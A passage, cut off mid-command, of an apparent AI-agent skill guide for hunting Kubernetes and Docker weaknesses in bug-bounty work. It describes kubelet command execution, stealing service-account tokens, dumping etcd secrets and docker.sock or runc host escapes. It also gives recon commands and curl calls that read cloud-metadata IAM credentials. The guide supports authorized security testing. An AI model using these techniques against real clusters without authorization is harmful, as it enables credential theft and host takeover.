$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-k8sHunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-20
| 1 | # HUNT-K8S — Kubernetes & Docker Security |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise. |
| 6 | |
| 7 | **Highest-value findings:** |
| 8 | - **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section). |
| 9 | - **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token. |
| 10 | - **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector. |
| 11 | - **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump. |
| 12 | - **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root. |
| 13 | - **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root. |
| 14 | - **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact. |
| 15 | - **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated. |
| 16 | |
| 17 | --- |
| 18 | |
| 19 | ## OOB / Confirmation Gate (Read First) |
| 20 | |
| 21 | K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.** |
| 22 | |
| 23 | - A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value. |
| 24 | - **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit. |
| 25 | - **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof. |
| 26 | - **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's). |
| 27 | - Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop. |
| 28 | |
| 29 | --- |
| 30 | |
| 31 | ## Phase 1 — Fingerprint & Port Discovery |
| 32 | |
| 33 | ```bash |
| 34 | # Common Kubernetes / container ports |
| 35 | PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010" |
| 36 | nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open |
| 37 | |
| 38 | # API server fingerprint — the /version endpoint is anonymous on most clusters |
| 39 | curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...} |
| 40 | curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth |
| 41 | curl -sk "https://$TARGET:6443/healthz" |
| 42 | |
| 43 | # Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold) |
| 44 | curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1) |
| 45 | TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2 |
| 46 | curl -s -H "X-aws-ec2-metadata-token: $TOK" "htt |